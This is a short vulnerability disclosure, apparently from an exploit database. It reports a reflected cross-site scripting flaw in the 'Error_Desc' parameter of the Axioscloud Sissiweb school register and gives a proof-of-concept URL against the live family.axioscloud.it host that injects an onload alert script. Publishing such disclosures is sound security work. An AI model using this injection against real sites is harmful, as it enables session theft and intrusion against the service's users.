Axioscloud Sissiweb Registro Elettronico 7.0.0 - 'Error_desc' Cross-Site Scripting

# Exploit Title: Axioscloud Sissiweb Registro Elettronico 7.0.0 - 'Error_desc' Cross-Site Scripting
# Dork: n/a
# Date: 2018-10-11
# Exploit Author: Dino Barlattani
# Vendor Homepage: http://axiositalia.it/
# Software Link: http://axiositalia.it/?page_id=1907
# Version: 1.7.0/7.0.0
# Category: Webapps
# Platform: ASPX
# CVE: N/A
 
# POC:
# https://family.axioscloud.it/secret/relogoff.aspx?Error_Desc=Sessione%20non%20Validaa%3Cbody%20onload=%22alert(%27ok%27);%22%3E&Error_Parameters=